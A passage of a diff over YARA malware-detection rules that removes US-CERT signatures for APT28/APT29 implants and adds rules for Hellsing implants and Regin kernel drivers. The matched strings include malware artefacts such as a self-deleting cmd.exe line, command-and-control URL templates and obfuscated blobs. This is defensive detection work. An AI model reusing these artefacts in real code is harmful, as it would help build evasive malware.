-         04 3A 33 D2 8A 54 37 FE 03 D3 03 D1 D3 EA 32 C2 8D 56 FF 83 E2 07 8A
-         1C 3A 8A 14 2E 32 C3 32 D0 41 88 14 2E 46 83 FE 0A 7C ?? }
+		$ac1 = { 99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
+               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
+               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
+               99 00 77 0D DD 09 99 80 99 00 77 0D DD 09 99 80
+               99 00 77 0D DD 09 99 80 99 00 77 0D D0 99 98 09
+               99 99 00 0D D0 99 98 09 99 99 00 0D D0 99 98 09
+               99 99 00 0D D0 99 98 0F F9 99 00 0D D0 99 98 09
+               9F 99 00 0D D0 99 98 09 FF 99 00 0D D0 99 98 09
+               FF 99 00 0D D0 99 98 09 99 99 00 0D D0 99 98 0F
+               F9 99 00 0D D0 99 98 09 99 99 00 0D 09 99 80 9F
+               F9 99 99 00 09 99 80 99 F9 99 99 00 09 99 80 FF }
+		$ac2 = { FF FF FF FF FF FF FF FF FF FF FF FF FF FF B9 DE
+               FA 68 B8 F4 39 A2 F1 39 A2 F1 39 A2 F1 39 A2 F1
+               39 A2 F1 39 A2 F1 68 B8 F4 B9 DE FA FF FF FF FF
+               FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF }
+		$s1 = { 00 4D 00 61 00 EB 00 6C 00 20 00 48 00 F6 00 72 00 7A }
+		$s2 = "mh-nexus.de" ascii wide
+		$upx1 = "UPX0" ascii fullword
+		$xs1 = "terminator" ascii wide fullword
+		$xs2 = "Terminator" ascii wide fullword
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		uint16(0)==0x5a4d and 1 of ($ac*) and ( not 1 of ($s*) or filesize >6930000 or (pe.is_32bit() and filesize <1540000 and not $upx1) or (pe.is_32bit() and filesize <590000 and $upx1) or (pe.is_64bit() and filesize <6670000 and not $upx1) or (pe.is_64bit() and filesize <1300000 and $upx1) or 1 of ($xs*))
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_6_V4 : FILE
+rule SIGNATURE_BASE_Apt_Hellsing_Implantstrings : FILE
 {
 	meta:
-		description = "Sednit / EVILTOSS Implant by APT28"
-		author = "US CERT"
-		id = "27118ec8-3713-5670-88d2-3ac57c155c0d"
-		date = "2017-02-10"
+		description = "detection for Hellsing implants"
+		author = "Kaspersky Lab"
+		id = "00aa5885-ae79-5d68-8587-13d3e8965630"
+		date = "2015-04-07"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1277-L1291"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f5388668e148223bc94680ea84e83b0f2896ccf433523d171c8f46d7069f9a4b"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hellsing_kaspersky.yar#L2-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d62dc766a40d1dc7044cc5c9f07a78d36e231b771fafb52442b26514f4c603db"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		version = "1.0"
+		filetype = "PE"
 
 	strings:
-		$ASM = {53 5? 5? [6-15] ff d? 8b ?? b? a0 86 01 00 [7-13] ff d? ?b
-         [6-10] c0 [0-1] c3}
+		$a1 = "the file uploaded failed !"
+		$a2 = "ping 127.0.0.1"
+		$b1 = "the file downloaded failed !"
+		$b2 = "common.asp"
+		$c = "xweber_server.exe"
+		$d = "action="
+		$debugpath1 = "d:\\Hellsing\\release\\msger\\" nocase
+		$debugpath2 = "d:\\hellsing\\sys\\xrat\\" nocase
+		$debugpath3 = "D:\\Hellsing\\release\\exe\\" nocase
+		$debugpath4 = "d:\\hellsing\\sys\\xkat\\" nocase
+		$debugpath5 = "e:\\Hellsing\\release\\clare" nocase
+		$debugpath6 = "e:\\Hellsing\\release\\irene\\" nocase
+		$debugpath7 = "d:\\hellsing\\sys\\irene\\" nocase
+		$e = "msger_server.dll"
+		$f = "ServiceMain"
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		uint16(0)==0x5a4d and ( all of ($a*)) or ( all of ($b*)) or ($c and $d) or ( any of ($debugpath*)) or ($e and $f) and filesize <500000
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_6_V5 : FILE
+rule SIGNATURE_BASE_Apt_Hellsing_Installer : FILE
 {
 	meta:
-		description = "Sednit / EVILTOSS Implant by APT28"
-		author = "US CERT"
-		id = "d035eaff-8c2a-53a2-b629-6448b2bcc9f6"
-		date = "2017-02-10"
+		description = "detection for Hellsing xweber/msger installers"
+		author = "Kaspersky Lab"
+		id = "0aca838e-813a-59ee-8a04-7d2f4e854075"
+		date = "2015-04-07"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1293-L1327"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b3ba650818ddbc58ce272ae4851ae3151a8cf1c9cc6f8e234a50b52c95d951fe"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hellsing_kaspersky.yar#L31-L54"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "556898e9507835d93e2cf7e21e997b6e64dc154ac675b429f5f8226bf929309c"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		version = "1.0"
+		filetype = "PE"
 
 	strings:
-		$STR1 = { 83 EC 18 8B 4C 24 24 B8 AB AA AA AA F7 E1 8B 44 24 20 53 55 8B
-         EA 8D 14 08 B8 AB AA AA AA 89 54 24 1C F7 E2 56 8B F2 C1 ED 02 8B DD
-         57 8B 7C 24 38 89 6C 24 1C C1 EE 02 3B DE 89 5C 24 18 89 74 24 20 0F
-         83 CF 00 00 00 8D 14 5B 8D 44 12 FE 89 44 24 10 3B DD 0F 85 CF 00 00
-         00 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA 83 F9 06 89 4C 24 38 0F 83
-         86 00 00 00 8A C3 B2 06 F6 EA 8B 54 24 10 88 44 24 30 8B 44 24 2C 8D
-         71 02 03 D0 89 54 24 14 8B 54 24 10 33 C0 8A 44 37 FE 03 D6 8B D8 8D
-         46 FF 0F AF DA 33 D2 BD 06 00 00 00 F7 F5 C1 EB 07 8A 04 3A 33 D2 32
-         D8 8D 46 01 F7 F5 8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5
-         8A 04 3A 22 C8 8B 44 24 14 02 D9 8A 0C 30 32 CB 88 0C 30 8B 4C 24 38
-         41 46 83 FE 08 89 4C 24 38 72 A1 8B 5C 24 18 8B 6C 24 1C 8B 74 24 20
-         8B 4C 24 10 43 83 C1 06 3B DE 89 4C 24 10 8B 4C 24 34 89 5C 24 18 0F
-         82 3C FF FF FF 3B DD 75 1A 8B C1 33 D2 B9 06 00 00 00 F7 F1 8B CA EB
-         0D 33 C9 89 4C 24 38 E9 40 FF FF FF 33 C9 8B 44 24 24 33 D2 BE 06 00
-         00 00 89 4C 24 38 F7 F6 3B CA 89 54 24 24 0F 83 95 00 00 00 8A C3 B2
-         06 F6 EA 8D 1C 5B 88 44 24 30 8B 44 24 2C 8D 71 02 D1 E3 89 5C 24 34
-         8D 54 03 FE 89 54 24 14 EB 04 8B 5C 24 34 33 C0 BD 06 00 00 00 8A 44
-         3E FE 8B D0 8D 44 1E FE 0F AF D0 C1 EA 07 89 54 24 2C 8D 46 FF 33 D2
-         BB 06 00 00 00 F7 F3 8B 5C 24 2C 8A 04 3A 33 D2 32 D8 8D 46 01 F7 F5
-         8A 44 24 30 02 C1 8A 0C 3A 33 D2 32 C8 8B C6 F7 F5 8A 04 3A 22 C8 8B
-         44 24 14 02 D9 8A 0C 06 32 CB 88 0C 06 8B 4C 24 38 8B 44 24 24 41 46
-         3B C8 89 4C 24 38 72 8F 5F 5E 5D 5B 83 C4 18 C2 10 00 }
+		$cmd = "cmd.exe /c ping 127.0.0.1 -n 5&cmd.exe /c del /a /f \"%s\""
+		$a1 = "xweber_install_uac.exe"
+		$a2 = "system32\\cmd.exe" wide
+		$a4 = "S11SWFOrVwR9UlpWRVZZWAR0U1aoBHFTUl2oU1Y="
+		$a5 = "S11SWFOrVwR9dnFTUgRUVlNHWVdXBFpTVgRdUlpWRVZZWARdUqhZVlpFR1kEUVNSXahTVgRaU1YEUVNSXahTVl1SWwRZValdVFFZUqgQBF1SWlZFVllYBFRTVqg="
+		$a6 = "7dqm2ODf5N/Y2N/m6+br3dnZpunl44g="
+		$a7 = "vd/m7OXd2ai/5u7a59rr7Ki45drcqMPl5t/c5dqIZw=="
+		$a8 = "vd/m7OXd2ai/usPl5qjY2uXp69nZqO7l2qjf5u7a59rr7Kjf5tzr2u7n6euo4+Xm39zl2qju5dqo4+Xm39zl2t/m7ajr19vf2OPr39rj5eaZmqbs5OSINjl2tyI"
+		$a9 = "C:\\Windows\\System32\\sysprep\\sysprep.exe" wide
+		$a10 = "%SystemRoot%\\system32\\cmd.exe" wide
+		$a11 = "msger_install.dll"
+		$a12 = {00 65 78 2E 64 6C 6C 00}
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		uint16(0)==0x5a4d and ($cmd and (2 of ($a*))) and filesize <500000
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_6_V6 : FILE
+rule SIGNATURE_BASE_Apt_Hellsing_Proxytool : FILE
 {
 	meta:
-		description = "Sednit / EVILTOSS Implant by APT28"
-		author = "US CERT"
-		id = "89cc3764-d60c-5cbd-af32-a90d8b3400d7"
-		date = "2017-02-10"
+		description = "detection for Hellsing proxy testing tool"
+		author = "Kaspersky Lab"
+		id = "54454f07-11a9-5456-b489-9a9610e53123"
+		date = "2015-04-07"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1329-L1343"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "77b5f95cd897c82c200ee6fa3970824adccfd7c56639d92361095f919781d731"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hellsing_kaspersky.yar#L56-L74"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8f2656e7b4e6fb5336fb4e39bcec3e99531db532f757b65e3aa12cd2a4334840"
+		score = 50
 		quality = 85
 		tags = "FILE"
+		version = "1.0"
+		filetype = "PE"
 
 	strings:
-		$Init1_fun = {68 10 27 00 00 FF 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 6A FF 50
-         FF 15 ?? ?? ?? ?? 33 C0 C3}
+		$a1 = "PROXY_INFO: automatic proxy url => %s"
+		$a2 = "PROXY_INFO: connection type => %d"
+		$a3 = "PROXY_INFO: proxy server => %s"
+		$a4 = "PROXY_INFO: bypass list => %s"
+		$a5 = "InternetQueryOption failed with GetLastError() %d"
+		$a6 = "D:\\Hellsing\\release\\exe\\exe\\" nocase
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)==0xCFD0 or uint16(0)==0xC3D4 or uint32(0)==0x46445025 or uint32(1)==0x6674725C) and all of them
+		uint16(0)==0x5a4d and (2 of ($a*)) and filesize <300000
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_7_V1 : FILE
+rule SIGNATURE_BASE_Apt_Hellsing_Xkat : FILE
 {
 	meta:
-		description = "Implant 7 by APT29"
-		author = "US CERT"
-		id = "ce83c157-af03-55cb-a2be-0b6543fedb5b"
-		date = "2017-02-10"
+		description = "detection for Hellsing xKat tool"
+		author = "Kaspersky Lab"
+		id = "c831ce04-8fb2-5790-8aaf-c88b370835ac"
+		date = "2015-04-07"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1368-L1381"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "996f81fe006e0ab15adab46275fdb60251e6c6616da33df600fadfc2684c24af"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hellsing_kaspersky.yar#L76-L97"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ba74ca11c96e59a04f1cb57b4866df7a581ad94ca81230f2ca5068c8808297aa"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		version = "1.0"
+		filetype = "PE"
 
 	strings:
-		$STR1 = { 8A 44 0A 03 32 C3 0F B6 C0 66 89 04 4E 41 3B CF 72 EE }
-		$STR2 = { F3 0F 6F 04 08 66 0F EF C1 F3 0F 7F 04 11 83 C1 10 3B CF 72 EB }
+		$a1 = "\\Dbgv.sys"
+		$a2 = "XKAT_BIN"
+		$a3 = "release sys file error."
+		$a4 = "driver_load error. "
+		$a5 = "driver_create error."
+		$a6 = "delete file:%s error."
+		$a7 = "delete file:%s ok."
+		$a8 = "kill pid:%d error."
+		$a9 = "kill pid:%d ok."
+		$a10 = "-pid-delete"
+		$a11 = "kill and delete pid:%d error."
+		$a12 = "kill and delete pid:%d ok."
 
 	condition:
-		( uint16(0)==0x5A4D) and ($STR1 or $STR2)
+		uint16(0)==0x5a4d and (6 of ($a*)) and filesize <300000
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_8_V1 : FILE
+rule SIGNATURE_BASE_Apt_Hellsing_Msgertype2 : FILE
 {
 	meta:
-		description = "HAMMERTOSS / HammerDuke Implant by APT29"
-		author = "US CERT"
-		id = "eeaa43c1-6004-5d64-bdc1-f84b3c68d741"
-		date = "2017-02-10"
+		description = "detection for Hellsing msger type 2 implants"
+		author = "Kaspersky Lab"
+		id = "98f151de-c1c2-56c1-8c64-5d1f437e0742"
+		date = "2015-04-07"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1383-L1411"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "437bda331405f9203747ffbfb107ec26e33973ebfc9f02e153697f7b8c22ad4f"
-		score = 65
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hellsing_kaspersky.yar#L99-L117"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "232e4dfd8d236da223240d9a4ec3f8bfa635d51d7376ff19dfa5579af31fc47f"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		version = "1.0"
+		filetype = "PE"
 
 	strings:
-		$DOTNET = "mscorlib" ascii
-		$REF_URL = "https://www.google.com/url?sa=" wide
-		$REF_var_1 = "&rct=" wide
-		$REF_var_2 = "&q=&esrc=" wide
-		$REF_var_3 = "&source=" wide
-		$REF_var_4 = "&cd=" wide
-		$REF_var_5 = "&ved=" wide
-		$REF_var_6 = "&url=" wide
-		$REF_var_7 = "&ei=" wide
-		$REF_var_8 = "&usg=" wide
-		$REF_var_9 = "&bvm=" wide
+		$a1 = "%s\\system\\%d.txt"
+		$a2 = "_msger"
+		$a3 = "http://%s/lib/common.asp?action=user_login&uid=%s&lan=%s&host=%s&os=%s&proxy=%s"
+		$a4 = "http://%s/data/%s.1000001000"
+		$a5 = "/lib/common.asp?action=user_upload&file="
+		$a6 = "%02X-%02X-%02X-%02X-%02X-%02X"
 
 	condition:
-		( uint16(0)==0x5A4D) and ($DOTNET) and ($REF_URL) and (3 of ($REF_var*))
+		uint16(0)==0x5a4d and (4 of ($a*)) and filesize <500000
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_9_V1 : FILE
+rule SIGNATURE_BASE_Apt_Hellsing_Irene : FILE
 {
 	meta:
-		description = "Onion Duke Implant by APT29"
-		author = "US CERT"
-		id = "5460ff29-681b-5d11-a6ba-5f294e8577e6"
-		date = "2017-02-10"
+		description = "detection for Hellsing msger irene installer"
+		author = "Kaspersky Lab"
+		id = "b57d1a10-4e5c-511f-b98c-8ce7d766c227"
+		date = "2015-04-07"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1431-L1447"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "76704410af27060131ee4a5f46601b8badbf822d8084511145078607db715651"
-		score = 85
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hellsing_kaspersky.yar#L119-L137"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e7da04083468dba7045b55181642d7cd57d543fbeda24685ba2ac63799740798"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		version = "1.0"
+		filetype = "PE"
 
 	strings:
-		$STR1 = { 8B 03 8A 54 01 03 32 55 FF 41 88 54 39 FF 3B CE 72 EE }
-		$STR2 = { 8B C8 83 E1 03 8A 54 19 08 8B 4D 08 32 54 01 04 40 88 54 38 FF
-         3B C6 72 E7 }
-		$STR3 = { 8B 55 F8 8B C8 83 E1 03 8A 4C 11 08 8B 55 FC 32 0C 10 8B 17 88
-         4C 02 04 40 3B 06 72 E3 }
+		$a1 = "\\Drivers\\usbmgr.tmp" wide
+		$a2 = "\\Drivers\\usbmgr.sys" wide
+		$a3 = "common_loadDriver CreateFile error!"
+		$a4 = "common_loadDriver StartService error && GetLastError():%d!"
+		$a5 = "irene" wide
+		$a6 = "aPLib v0.43 - the smaller the better"
 
 	condition:
-		( uint16(0)==0x5A4D or uint16(0)) and all of them
+		uint16(0)==0x5a4d and (4 of ($a*)) and filesize <500000
 }
-import "pe"
-
-rule SIGNATURE_BASE_IMPLANT_10_V2 : FILE
+rule SIGNATURE_BASE_Regin_APT_Kerneldriver_Generic_A : FILE
 {
 	meta:
-		description = "CozyDuke / CozyCar / CozyBear Implant by APT29"
-		author = "US CERT"
-		id = "9c6d4eb9-98a5-5c6d-ba3a-0ce7524c5d2a"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1468-L1481"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dc201d25b1d6cf8f88ae3bee18057902c4d64316aa9debc9248b0d8aa7f6d170"
-		score = 85
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		id = "4cea1d45-b797-51b2-baa7-e66c8c0206ea"
+		date = "2014-11-23"
+		modified = "2024-04-24"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L14-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1cc367dff184f2b458a2b7c0c88a44095714525ca6bb115d03e6331cf1f22116"
+		score = 75
 		quality = 85
 		tags = "FILE"
+		hash1 = "187044596bc1328efa0ed636d8aa4a5c"
+		hash2 = "06665b96e293b23acc80451abb413e50"
+		hash3 = "d240f06e98c8d3e647cbf4d442d79475"
 
 	strings:
-		$xor = { 34 ?? 66 33 C1 48 FF C1 }
-		$nop = { 66 66 66 66 66 66 0f 1f 84 00 00 00 00 00}
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
+		$m1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+		$s0 = "atapi.sys" fullword wide
+		$s1 = "disk.sys" fullword wide
+		$s3 = "h.data" fullword ascii
+		$s4 = "\\system32" ascii
+		$s5 = "\\SystemRoot" ascii
+		$s6 = "system" fullword ascii
+		$s7 = "temp" fullword ascii
+		$s8 = "windows" fullword ascii
+		$x1 = "LRich6" fullword ascii
+		$x2 = "KeServiceDescriptorTable" fullword ascii
 
 	condition:
-		uint16(0)==0x5A4D and $xor and $nop
+		uint16(0)==0x5a4d and $m0 at 0 and $m1 and all of ($s*) and 1 of ($x*)
 }
-import "pe"
+rule SIGNATURE_BASE_Regin_APT_Kerneldriver_Generic_B : FILE
+{
+	meta:
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		id = "14f31b2d-4753-54e8-891a-e28689ba57db"
+		date = "2014-11-23"
+		modified = "2024-04-24"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L43-L94"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c2dee4f94f9eefb1c11f6e86144c6bfafc0845768200f5a839ffe3dd5d38294d"
+		score = 75
+		quality = 83
+		tags = "FILE"
+		hash1 = "ffb0b9b5b610191051a7bdf0806e1e47"
+		hash2 = "bfbe8c3ee78750c3a520480700e440f8"
+		hash3 = "b29ca4f22ae7b7b25f79c1d4a421139d"
+		hash4 = "06665b96e293b23acc80451abb413e50"
+		hash5 = "2c8b9d2885543d7ade3cae98225e263b"
+		hash6 = "4b6b86c7fec1c574706cecedf44abded"
+		hash7 = "187044596bc1328efa0ed636d8aa4a5c"
+		hash8 = "d240f06e98c8d3e647cbf4d442d79475"
+		hash9 = "6662c390b2bbbd291ec7987388fc75d7"
+		hash10 = "1c024e599ac055312a4ab75b3950040a"
+		hash11 = "ba7bb65634ce1e30c1e5415be3d1db1d"
+		hash12 = "b505d65721bb2453d5039a389113b566"
+		hash13 = "b269894f434657db2b15949641a67532"
 
-rule SIGNATURE_BASE_Unidentified_Malware_Two
+	strings:
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
+		$s1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
+		$s2 = "H.data" fullword ascii nocase
+		$s3 = "INIT" fullword ascii
+		$s4 = "ntoskrnl.exe" fullword ascii
+		$v1 = "\\system32" ascii
+		$v2 = "\\SystemRoot" ascii
+		$v3 = "KeServiceDescriptorTable" fullword ascii
+		$w1 = "\\system32" ascii
+		$w2 = "\\SystemRoot" ascii
+		$w3 = "LRich6" fullword ascii
+		$x1 = "_snprintf" ascii
+		$x2 = "_except_handler3" ascii
+		$y1 = "mbstowcs" fullword ascii
+		$y2 = "wcstombs" fullword ascii
+		$y3 = "KeGetCurrentIrql" fullword ascii
+		$z1 = "wcscpy" fullword ascii
+		$z2 = "ZwCreateFile" fullword ascii
+		$z3 = "ZwQueryInformationFile" fullword ascii
+		$z4 = "wcslen" fullword ascii
+		$z5 = "atoi" fullword ascii
+
+	condition:
+		uint16(0)==0x5a4d and $m0 at 0 and all of ($s*) and ( all of ($v*) or all of ($w*) or all of ($x*) or all of ($y*) or all of ($z*)) and filesize <20KB
+}
+rule SIGNATURE_BASE_Regin_APT_Kerneldriver_Generic_C : FILE
 {
 	meta:
-		description = "Unidentified Implant by APT29"
-		author = "US CERT"
-		id = "848f2d1f-e352-51c1-ac5d-841bf309f2f2"
-		date = "2017-02-10"
-		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_grizzlybear_uscert.yar#L1520-L1542"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "cd9adfb9e27e4d6b27498cc029e15132343f036cca60210528720a533fe20d9a"
-		score = 85
+		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
+		author = "@Malwrsignatures - included in APT Scanner THOR"
+		id = "2006b3f0-abd1-5274-8b18-75368671e062"
+		date = "2014-11-23"
+		modified = "2024-04-24"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/spy_regin_fiveeyes.yar#L96-L122"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9454eb8b45a720fbe517caa2221fb0ceedf561902d94cabe513e921cc52fe035"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		hash1 = "e0895336617e0b45b312383814ec6783556d7635"
+		hash2 = "732298fa025ed48179a3a2555b45be96f7079712"
 
 	strings:
-		$my_string_one = "/zapoy/gate.php"
-		$my_string_two = { E3 40 FE 45 FD 0F B6 45 FD 0F B6 14 38 88 55 FF 00 55
-         FC 0F B6 45 FC 8A 14 38 88 55 FE 0F B6 45 FD 88 14 38 0F B6 45 FC 8A
-         55 FF 88 14 38 8A 55 FF 02 55 FE 8A 14 3A 8B 45 F8 30 14 30 }
-		$my_string_three = "S:\\Lidstone\\renewing\\HA\\disable\\In.pdb"
-		$my_string_four = { 8B CF 0F AF CE 8B C6 99 2B C2 8B 55 08 D1 F8 03 C8
-         8B 45 FC 03 C2 89 45 10 8A 00 2B CB 32 C1 85 DB 74 07 }
-		$my_string_five = "fuckyou1"
-		$my_string_six = "xtool.exe"
+		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
+		$s0 = "KeGetCurrentIrql" fullword ascii
+		$s1 = "5.2.3790.0 (srv03_rtm.030324-2048)" fullword wide
+		$s2 = "usbclass" fullword wide
+		$x1 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING" ascii
+		$x2 = "Universal Serial Bus Class Driver" fullword wide
+		$x3 = "5.2.3790.0" fullword wide
+		$y1 = "LSA Shell" fullword wide
+		$y2 = "0Richw" fullword ascii
 
 	condition:
-		($my_string_one and $my_string_two) or ($my_string_three or $my_string_four) or ($my_string_five and $my_string_six)
+		uint16(0)==0x5a4d and $m0 at 0 and all of ($s*) and ( all of ($x*) or all of ($y*)) and filesize <20KB
 }
-rule SIGNATURE_BASE_STUXSHOP_Config
